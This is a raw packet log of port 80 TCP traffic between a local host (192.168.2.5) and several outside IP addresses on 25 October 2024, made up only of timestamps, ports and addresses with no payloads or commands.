                                                                                                                                                                    Oct 25, 2024 16:29:16.473676920 CEST80622133.33.130.190192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:29:16.473794937 CEST6221380192.168.2.53.33.130.190
                                                                                                                                                                    Oct 25, 2024 16:29:17.339694977 CEST6221380192.168.2.53.33.130.190
                                                                                                                                                                    Oct 25, 2024 16:29:17.345151901 CEST80622133.33.130.190192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:29:18.358669043 CEST6221480192.168.2.53.33.130.190
                                                                                                                                                                    Oct 25, 2024 16:29:18.364195108 CEST80622143.33.130.190192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:29:18.372422934 CEST6221480192.168.2.53.33.130.190
                                                                                                                                                                    Oct 25, 2024 16:29:18.393805027 CEST6221480192.168.2.53.33.130.190
                                                                                                                                                                    Oct 25, 2024 16:29:18.399490118 CEST80622143.33.130.190192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:29:18.399557114 CEST80622143.33.130.190192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:29:19.030946970 CEST80622143.33.130.190192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:29:19.031008959 CEST6221480192.168.2.53.33.130.190
                                                                                                                                                                    Oct 25, 2024 16:29:19.902183056 CEST6221480192.168.2.53.33.130.190
                                                                                                                                                                    Oct 25, 2024 16:29:19.907708883 CEST80622143.33.130.190192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:29:20.921142101 CEST6221580192.168.2.53.33.130.190
                                                                                                                                                                    Oct 25, 2024 16:29:20.926892996 CEST80622153.33.130.190192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:29:20.926991940 CEST6221580192.168.2.53.33.130.190
                                                                                                                                                                    Oct 25, 2024 16:29:20.934905052 CEST6221580192.168.2.53.33.130.190
                                                                                                                                                                    Oct 25, 2024 16:29:20.940397024 CEST80622153.33.130.190192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:29:21.588650942 CEST80622153.33.130.190192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:29:21.621715069 CEST80622153.33.130.190192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:29:21.624016047 CEST6221580192.168.2.53.33.130.190
                                                                                                                                                                    Oct 25, 2024 16:29:21.629802942 CEST6221580192.168.2.53.33.130.190
                                                                                                                                                                    Oct 25, 2024 16:29:21.635257959 CEST80622153.33.130.190192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:29:26.657602072 CEST6221680192.168.2.53.33.130.190
                                                                                                                                                                    Oct 25, 2024 16:29:26.663086891 CEST80622163.33.130.190192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:29:26.663166046 CEST6221680192.168.2.53.33.130.190
                                                                                                                                                                    Oct 25, 2024 16:29:26.676563025 CEST6221680192.168.2.53.33.130.190
                                                                                                                                                                    Oct 25, 2024 16:29:26.682017088 CEST80622163.33.130.190192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:29:27.284297943 CEST80622163.33.130.190192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:29:27.284362078 CEST6221680192.168.2.53.33.130.190
                                                                                                                                                                    Oct 25, 2024 16:29:28.183317900 CEST6221680192.168.2.53.33.130.190
                                                                                                                                                                    Oct 25, 2024 16:29:28.188750029 CEST80622163.33.130.190192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:29:29.203958035 CEST6221780192.168.2.53.33.130.190
                                                                                                                                                                    Oct 25, 2024 16:29:29.209695101 CEST80622173.33.130.190192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:29:29.209790945 CEST6221780192.168.2.53.33.130.190
                                                                                                                                                                    Oct 25, 2024 16:29:29.225079060 CEST6221780192.168.2.53.33.130.190
                                                                                                                                                                    Oct 25, 2024 16:29:29.230495930 CEST80622173.33.130.190192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:29:30.730178118 CEST6221780192.168.2.53.33.130.190
                                                                                                                                                                    Oct 25, 2024 16:29:30.778626919 CEST80622173.33.130.190192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:29:30.808743954 CEST80622173.33.130.190192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:29:30.808799028 CEST6221780192.168.2.53.33.130.190
                                                                                                                                                                    Oct 25, 2024 16:29:31.749454975 CEST6221880192.168.2.53.33.130.190
                                                                                                                                                                    Oct 25, 2024 16:29:31.755173922 CEST80622183.33.130.190192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:29:31.755423069 CEST6221880192.168.2.53.33.130.190
                                                                                                                                                                    Oct 25, 2024 16:29:31.767832994 CEST6221880192.168.2.53.33.130.190
                                                                                                                                                                    Oct 25, 2024 16:29:31.773392916 CEST80622183.33.130.190192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:29:31.773550987 CEST80622183.33.130.190192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:29:32.384133101 CEST80622183.33.130.190192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:29:32.384280920 CEST6221880192.168.2.53.33.130.190
                                                                                                                                                                    Oct 25, 2024 16:29:33.277050972 CEST6221880192.168.2.53.33.130.190
                                                                                                                                                                    Oct 25, 2024 16:29:33.282526970 CEST80622183.33.130.190192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:29:34.296957970 CEST6221980192.168.2.53.33.130.190
                                                                                                                                                                    Oct 25, 2024 16:29:34.302566051 CEST80622193.33.130.190192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:29:34.305958033 CEST6221980192.168.2.53.33.130.190
                                                                                                                                                                    Oct 25, 2024 16:29:34.313821077 CEST6221980192.168.2.53.33.130.190
                                                                                                                                                                    Oct 25, 2024 16:29:34.319272995 CEST80622193.33.130.190192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:29:34.967161894 CEST80622193.33.130.190192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:29:34.999792099 CEST80622193.33.130.190192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:29:34.999897003 CEST6221980192.168.2.53.33.130.190
                                                                                                                                                                    Oct 25, 2024 16:29:35.001018047 CEST6221980192.168.2.53.33.130.190
                                                                                                                                                                    Oct 25, 2024 16:29:35.006540060 CEST80622193.33.130.190192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:29:40.085257053 CEST6222080192.168.2.584.32.84.32
                                                                                                                                                                    Oct 25, 2024 16:29:40.090667009 CEST806222084.32.84.32192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:29:40.091058969 CEST6222080192.168.2.584.32.84.32
                                                                                                                                                                    Oct 25, 2024 16:29:40.101819992 CEST6222080192.168.2.584.32.84.32
                                                                                                                                                                    Oct 25, 2024 16:29:40.107247114 CEST806222084.32.84.32192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:29:40.911938906 CEST806222084.32.84.32192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:29:40.912017107 CEST6222080192.168.2.584.32.84.32
                                                                                                                                                                    Oct 25, 2024 16:29:41.611845016 CEST6222080192.168.2.584.32.84.32
                                                                                                                                                                    Oct 25, 2024 16:29:41.617605925 CEST806222084.32.84.32192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:29:42.624403000 CEST6222180192.168.2.584.32.84.32
                                                                                                                                                                    Oct 25, 2024 16:29:42.629890919 CEST806222184.32.84.32192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:29:42.629968882 CEST6222180192.168.2.584.32.84.32
                                                                                                                                                                    Oct 25, 2024 16:29:42.646399021 CEST6222180192.168.2.584.32.84.32
                                                                                                                                                                    Oct 25, 2024 16:29:42.651854992 CEST806222184.32.84.32192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:29:43.464638948 CEST806222184.32.84.32192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:29:43.464714050 CEST6222180192.168.2.584.32.84.32
                                                                                                                                                                    Oct 25, 2024 16:29:44.164937973 CEST6222180192.168.2.584.32.84.32
                                                                                                                                                                    Oct 25, 2024 16:29:44.170291901 CEST806222184.32.84.32192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:29:45.187943935 CEST6222280192.168.2.584.32.84.32
                                                                                                                                                                    Oct 25, 2024 16:29:45.193490982 CEST806222284.32.84.32192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:29:45.193624020 CEST6222280192.168.2.584.32.84.32
                                                                                                                                                                    Oct 25, 2024 16:29:45.205621004 CEST6222280192.168.2.584.32.84.32
                                                                                                                                                                    Oct 25, 2024 16:29:45.211110115 CEST806222284.32.84.32192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:29:45.211376905 CEST806222284.32.84.32192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:29:46.031796932 CEST806222284.32.84.32192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:29:46.032234907 CEST6222280192.168.2.584.32.84.32
                                                                                                                                                                    Oct 25, 2024 16:29:46.715404987 CEST6222280192.168.2.584.32.84.32
                                                                                                                                                                    Oct 25, 2024 16:29:46.720834970 CEST806222284.32.84.32192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:29:47.733560085 CEST6222380192.168.2.584.32.84.32
                                                                                                                                                                    Oct 25, 2024 16:29:47.739078999 CEST806222384.32.84.32192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:29:47.739376068 CEST6222380192.168.2.584.32.84.32
                                                                                                                                                                    Oct 25, 2024 16:29:47.747911930 CEST6222380192.168.2.584.32.84.32
                                                                                                                                                                    Oct 25, 2024 16:29:47.753479958 CEST806222384.32.84.32192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:29:48.553369045 CEST806222384.32.84.32192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:29:48.553601980 CEST806222384.32.84.32192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:29:48.553618908 CEST806222384.32.84.32192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:29:48.553639889 CEST6222380192.168.2.584.32.84.32
                                                                                                                                                                    Oct 25, 2024 16:29:48.554490089 CEST806222384.32.84.32192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:29:48.554508924 CEST806222384.32.84.32192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:29:48.554522038 CEST806222384.32.84.32192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:29:48.554579973 CEST6222380192.168.2.584.32.84.32
                                                                                                                                                                    Oct 25, 2024 16:29:48.554610968 CEST6222380192.168.2.584.32.84.32
                                                                                                                                                                    Oct 25, 2024 16:29:48.555263996 CEST806222384.32.84.32192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:29:48.555278063 CEST806222384.32.84.32192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:29:48.555293083 CEST806222384.32.84.32192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:29:48.555388927 CEST6222380192.168.2.584.32.84.32
                                                                                                                                                                    Oct 25, 2024 16:29:48.556226015 CEST806222384.32.84.32192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:29:48.556273937 CEST6222380192.168.2.584.32.84.32
                                                                                                                                                                    Oct 25, 2024 16:29:48.559129953 CEST806222384.32.84.32192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:29:48.664710999 CEST806222384.32.84.32192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:29:48.664828062 CEST6222380192.168.2.584.32.84.32
                                                                                                                                                                    Oct 25, 2024 16:29:48.665926933 CEST6222380192.168.2.584.32.84.32
                                                                                                                                                                    Oct 25, 2024 16:29:48.671278000 CEST806222384.32.84.32192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:29:53.807621956 CEST6222480192.168.2.5194.58.112.174
                                                                                                                                                                    Oct 25, 2024 16:29:53.813198090 CEST8062224194.58.112.174192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:29:53.816066980 CEST6222480192.168.2.5194.58.112.174
                                                                                                                                                                    Oct 25, 2024 16:29:53.827979088 CEST6222480192.168.2.5194.58.112.174
                                                                                                                                                                    Oct 25, 2024 16:29:53.835068941 CEST8062224194.58.112.174192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:29:54.712152958 CEST8062224194.58.112.174192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:29:54.712348938 CEST8062224194.58.112.174192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:29:54.712377071 CEST8062224194.58.112.174192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:29:54.712404966 CEST6222480192.168.2.5194.58.112.174
                                                                                                                                                                    Oct 25, 2024 16:29:54.712907076 CEST8062224194.58.112.174192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:29:54.712995052 CEST6222480192.168.2.5194.58.112.174
                                                                                                                                                                    Oct 25, 2024 16:29:54.867255926 CEST8062224194.58.112.174192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:29:54.867332935 CEST6222480192.168.2.5194.58.112.174
                                                                                                                                                                    Oct 25, 2024 16:29:55.340061903 CEST6222480192.168.2.5194.58.112.174
                                                                                                                                                                    Oct 25, 2024 16:29:56.385844946 CEST6222580192.168.2.5194.58.112.174
                                                                                                                                                                    Oct 25, 2024 16:29:56.391474962 CEST8062225194.58.112.174192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:29:56.391875982 CEST6222580192.168.2.5194.58.112.174
                                                                                                                                                                    Oct 25, 2024 16:29:56.438004017 CEST6222580192.168.2.5194.58.112.174
                                                                                                                                                                    Oct 25, 2024 16:29:56.443694115 CEST8062225194.58.112.174192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:29:57.301022053 CEST8062225194.58.112.174192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:29:57.301261902 CEST8062225194.58.112.174192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:29:57.301287889 CEST8062225194.58.112.174192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:29:57.301357031 CEST6222580192.168.2.5194.58.112.174
                                                                                                                                                                    Oct 25, 2024 16:29:57.301830053 CEST8062225194.58.112.174192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:29:57.301920891 CEST6222580192.168.2.5194.58.112.174
                                                                                                                                                                    Oct 25, 2024 16:29:57.452358961 CEST8062225194.58.112.174192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:29:57.452605009 CEST6222580192.168.2.5194.58.112.174
                                                                                                                                                                    Oct 25, 2024 16:29:57.949029922 CEST6222580192.168.2.5194.58.112.174
                                                                                                                                                                    Oct 25, 2024 16:29:58.968642950 CEST6222680192.168.2.5194.58.112.174
                                                                                                                                                                    Oct 25, 2024 16:29:58.974103928 CEST8062226194.58.112.174192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:29:58.974211931 CEST6222680192.168.2.5194.58.112.174
                                                                                                                                                                    Oct 25, 2024 16:29:58.987925053 CEST6222680192.168.2.5194.58.112.174
                                                                                                                                                                    Oct 25, 2024 16:29:58.993549109 CEST8062226194.58.112.174192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:29:58.993963003 CEST8062226194.58.112.174192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:29:59.880258083 CEST8062226194.58.112.174192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:29:59.880424023 CEST8062226194.58.112.174192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:29:59.880445957 CEST8062226194.58.112.174192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:29:59.880539894 CEST6222680192.168.2.5194.58.112.174
                                                                                                                                                                    Oct 25, 2024 16:29:59.881012917 CEST8062226194.58.112.174192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:29:59.881104946 CEST6222680192.168.2.5194.58.112.174
                                                                                                                                                                    Oct 25, 2024 16:30:00.031582117 CEST8062226194.58.112.174192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:30:00.032004118 CEST6222680192.168.2.5194.58.112.174
                                                                                                                                                                    Oct 25, 2024 16:30:00.496974945 CEST6222680192.168.2.5194.58.112.174
                                                                                                                                                                    Oct 25, 2024 16:30:01.515202999 CEST6222780192.168.2.5194.58.112.174
                                                                                                                                                                    Oct 25, 2024 16:30:01.520756006 CEST8062227194.58.112.174192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:30:01.520845890 CEST6222780192.168.2.5194.58.112.174
                                                                                                                                                                    Oct 25, 2024 16:30:01.530728102 CEST6222780192.168.2.5194.58.112.174
                                                                                                                                                                    Oct 25, 2024 16:30:01.536129951 CEST8062227194.58.112.174192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:30:02.430912018 CEST8062227194.58.112.174192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:30:02.431159019 CEST8062227194.58.112.174192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:30:02.431166887 CEST8062227194.58.112.174192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:30:02.431371927 CEST6222780192.168.2.5194.58.112.174
                                                                                                                                                                    Oct 25, 2024 16:30:02.432122946 CEST8062227194.58.112.174192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:30:02.432133913 CEST8062227194.58.112.174192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:30:02.432308912 CEST6222780192.168.2.5194.58.112.174
                                                                                                                                                                    Oct 25, 2024 16:30:02.433026075 CEST8062227194.58.112.174192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:30:02.433034897 CEST8062227194.58.112.174192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:30:02.434350014 CEST8062227194.58.112.174192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:30:02.434356928 CEST8062227194.58.112.174192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:30:02.434542894 CEST6222780192.168.2.5194.58.112.174
                                                                                                                                                                    Oct 25, 2024 16:30:02.582113028 CEST8062227194.58.112.174192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:30:02.582228899 CEST6222780192.168.2.5194.58.112.174
                                                                                                                                                                    Oct 25, 2024 16:30:02.583297968 CEST6222780192.168.2.5194.58.112.174
                                                                                                                                                                    Oct 25, 2024 16:30:02.589148998 CEST8062227194.58.112.174192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:30:07.619887114 CEST6222880192.168.2.5188.114.96.3
                                                                                                                                                                    Oct 25, 2024 16:30:07.625307083 CEST8062228188.114.96.3192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:30:07.632141113 CEST6222880192.168.2.5188.114.96.3
                                                                                                                                                                    Oct 25, 2024 16:30:07.640131950 CEST6222880192.168.2.5188.114.96.3
                                                                                                                                                                    Oct 25, 2024 16:30:07.646102905 CEST8062228188.114.96.3192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:30:08.256692886 CEST8062228188.114.96.3192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:30:08.259398937 CEST8062228188.114.96.3192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:30:08.259666920 CEST6222880192.168.2.5188.114.96.3
                                                                                                                                                                    Oct 25, 2024 16:30:09.152492046 CEST6222880192.168.2.5188.114.96.3
                                                                                                                                                                    Oct 25, 2024 16:30:10.173883915 CEST6222980192.168.2.5188.114.96.3
                                                                                                                                                                    Oct 25, 2024 16:30:10.179780960 CEST8062229188.114.96.3192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:30:10.180104017 CEST6222980192.168.2.5188.114.96.3
                                                                                                                                                                    Oct 25, 2024 16:30:10.197880030 CEST6222980192.168.2.5188.114.96.3
                                                                                                                                                                    Oct 25, 2024 16:30:10.203620911 CEST8062229188.114.96.3192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:30:11.039983988 CEST8062229188.114.96.3192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:30:11.040018082 CEST8062229188.114.96.3192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:30:11.040096998 CEST6222980192.168.2.5188.114.96.3
                                                                                                                                                                    Oct 25, 2024 16:30:11.040118933 CEST8062229188.114.96.3192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:30:11.040168047 CEST6222980192.168.2.5188.114.96.3
                                                                                                                                                                    Oct 25, 2024 16:30:11.698945999 CEST6222980192.168.2.5188.114.96.3
                                                                                                                                                                    Oct 25, 2024 16:30:12.719364882 CEST6223080192.168.2.5188.114.96.3
                                                                                                                                                                    Oct 25, 2024 16:30:12.724958897 CEST8062230188.114.96.3192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:30:12.725043058 CEST6223080192.168.2.5188.114.96.3
                                                                                                                                                                    Oct 25, 2024 16:30:12.741452932 CEST6223080192.168.2.5188.114.96.3
                                                                                                                                                                    Oct 25, 2024 16:30:12.746958017 CEST8062230188.114.96.3192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:30:12.746989012 CEST8062230188.114.96.3192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:30:13.350594997 CEST8062230188.114.96.3192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:30:13.352907896 CEST8062230188.114.96.3192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:30:13.352972031 CEST6223080192.168.2.5188.114.96.3
                                                                                                                                                                    Oct 25, 2024 16:30:14.245878935 CEST6223080192.168.2.5188.114.96.3
                                                                                                                                                                    Oct 25, 2024 16:30:15.265413046 CEST6223180192.168.2.5188.114.96.3
                                                                                                                                                                    Oct 25, 2024 16:30:15.272015095 CEST8062231188.114.96.3192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:30:15.272116899 CEST6223180192.168.2.5188.114.96.3
                                                                                                                                                                    Oct 25, 2024 16:30:15.281450033 CEST6223180192.168.2.5188.114.96.3
                                                                                                                                                                    Oct 25, 2024 16:30:15.287800074 CEST8062231188.114.96.3192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:30:15.895721912 CEST8062231188.114.96.3192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:30:15.897145987 CEST8062231188.114.96.3192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:30:15.900413036 CEST6223180192.168.2.5188.114.96.3
                                                                                                                                                                    Oct 25, 2024 16:30:15.903883934 CEST6223180192.168.2.5188.114.96.3
                                                                                                                                                                    Oct 25, 2024 16:30:15.909359932 CEST8062231188.114.96.3192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:30:21.084805012 CEST6223280192.168.2.5154.23.184.240
                                                                                                                                                                    Oct 25, 2024 16:30:21.090249062 CEST8062232154.23.184.240192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:30:21.090333939 CEST6223280192.168.2.5154.23.184.240
                                                                                                                                                                    Oct 25, 2024 16:30:21.101222992 CEST6223280192.168.2.5154.23.184.240
                                                                                                                                                                    Oct 25, 2024 16:30:21.106899023 CEST8062232154.23.184.240192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:30:22.050659895 CEST8062232154.23.184.240192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:30:22.120793104 CEST6223280192.168.2.5154.23.184.240
                                                                                                                                                                    Oct 25, 2024 16:30:22.233586073 CEST8062232154.23.184.240192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:30:22.234527111 CEST6223280192.168.2.5154.23.184.240
                                                                                                                                                                    Oct 25, 2024 16:30:22.605273962 CEST6223280192.168.2.5154.23.184.240
                                                                                                                                                                    Oct 25, 2024 16:30:23.624656916 CEST6223380192.168.2.5154.23.184.240
                                                                                                                                                                    Oct 25, 2024 16:30:23.630218983 CEST8062233154.23.184.240192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:30:23.632148981 CEST6223380192.168.2.5154.23.184.240
                                                                                                                                                                    Oct 25, 2024 16:30:23.643918037 CEST6223380192.168.2.5154.23.184.240
                                                                                                                                                                    Oct 25, 2024 16:30:23.649938107 CEST8062233154.23.184.240192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:30:24.582226992 CEST8062233154.23.184.240192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:30:24.761332989 CEST6223380192.168.2.5154.23.184.240
                                                                                                                                                                    Oct 25, 2024 16:30:24.765053988 CEST8062233154.23.184.240192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:30:24.765207052 CEST6223380192.168.2.5154.23.184.240
                                                                                                                                                                    Oct 25, 2024 16:30:25.152075052 CEST6223380192.168.2.5154.23.184.240
                                                                                                                                                                    Oct 25, 2024 16:30:26.171087027 CEST6223480192.168.2.5154.23.184.240
                                                                                                                                                                    Oct 25, 2024 16:30:26.176872015 CEST8062234154.23.184.240192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:30:26.178174019 CEST6223480192.168.2.5154.23.184.240
                                                                                                                                                                    Oct 25, 2024 16:30:26.189903975 CEST6223480192.168.2.5154.23.184.240
                                                                                                                                                                    Oct 25, 2024 16:30:26.195625067 CEST8062234154.23.184.240192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:30:26.195636034 CEST8062234154.23.184.240192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:30:27.172434092 CEST8062234154.23.184.240192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:30:27.214454889 CEST6223480192.168.2.5154.23.184.240
                                                                                                                                                                    Oct 25, 2024 16:30:27.475774050 CEST8062234154.23.184.240192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:30:27.475892067 CEST6223480192.168.2.5154.23.184.240
                                                                                                                                                                    Oct 25, 2024 16:30:27.699172020 CEST6223480192.168.2.5154.23.184.240
                                                                                                                                                                    Oct 25, 2024 16:30:28.868112087 CEST6223580192.168.2.5154.23.184.240
                                                                                                                                                                    Oct 25, 2024 16:30:28.874690056 CEST8062235154.23.184.240192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:30:28.874794960 CEST6223580192.168.2.5154.23.184.240
                                                                                                                                                                    Oct 25, 2024 16:30:28.929157972 CEST6223580192.168.2.5154.23.184.240
                                                                                                                                                                    Oct 25, 2024 16:30:28.934566021 CEST8062235154.23.184.240192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:30:29.862062931 CEST8062235154.23.184.240192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:30:29.948914051 CEST6223580192.168.2.5154.23.184.240
                                                                                                                                                                    Oct 25, 2024 16:30:30.014581919 CEST8062235154.23.184.240192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:30:30.018009901 CEST6223580192.168.2.5154.23.184.240
                                                                                                                                                                    Oct 25, 2024 16:30:30.022027969 CEST6223580192.168.2.5154.23.184.240
                                                                                                                                                                    Oct 25, 2024 16:30:30.027542114 CEST8062235154.23.184.240192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:30:35.063097000 CEST6223680192.168.2.5188.114.97.3
                                                                                                                                                                    Oct 25, 2024 16:30:35.068489075 CEST8062236188.114.97.3192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:30:35.068584919 CEST6223680192.168.2.5188.114.97.3
                                                                                                                                                                    Oct 25, 2024 16:30:35.085453987 CEST6223680192.168.2.5188.114.97.3
                                                                                                                                                                    Oct 25, 2024 16:30:35.091090918 CEST8062236188.114.97.3192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:30:36.263140917 CEST8062236188.114.97.3192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:30:36.263294935 CEST8062236188.114.97.3192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:30:36.263375044 CEST6223680192.168.2.5188.114.97.3
                                                                                                                                                                    Oct 25, 2024 16:30:36.265732050 CEST8062236188.114.97.3192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:30:36.265902042 CEST6223680192.168.2.5188.114.97.3
                                                                                                                                                                    Oct 25, 2024 16:30:36.589654922 CEST6223680192.168.2.5188.114.97.3
                                                                                                                                                                    Oct 25, 2024 16:30:37.608690023 CEST6223780192.168.2.5188.114.97.3
                                                                                                                                                                    Oct 25, 2024 16:30:37.614248037 CEST8062237188.114.97.3192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:30:37.617197037 CEST6223780192.168.2.5188.114.97.3
                                                                                                                                                                    Oct 25, 2024 16:30:37.628982067 CEST6223780192.168.2.5188.114.97.3
                                                                                                                                                                    Oct 25, 2024 16:30:37.634324074 CEST8062237188.114.97.3192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:30:39.052687883 CEST8062237188.114.97.3192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:30:39.052845955 CEST8062237188.114.97.3192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:30:39.052856922 CEST8062237188.114.97.3192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:30:39.052874088 CEST8062237188.114.97.3192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:30:39.052979946 CEST6223780192.168.2.5188.114.97.3
                                                                                                                                                                    Oct 25, 2024 16:30:39.053203106 CEST8062237188.114.97.3192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:30:39.053247929 CEST6223780192.168.2.5188.114.97.3
                                                                                                                                                                    Oct 25, 2024 16:30:39.053507090 CEST6223780192.168.2.5188.114.97.3
                                                                                                                                                                    Oct 25, 2024 16:30:39.136687994 CEST6223780192.168.2.5188.114.97.3
                                                                                                                                                                    Oct 25, 2024 16:30:40.157891989 CEST6223880192.168.2.5188.114.97.3
                                                                                                                                                                    Oct 25, 2024 16:30:40.163486004 CEST8062238188.114.97.3192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:30:40.163917065 CEST6223880192.168.2.5188.114.97.3
                                                                                                                                                                    Oct 25, 2024 16:30:40.174587965 CEST6223880192.168.2.5188.114.97.3
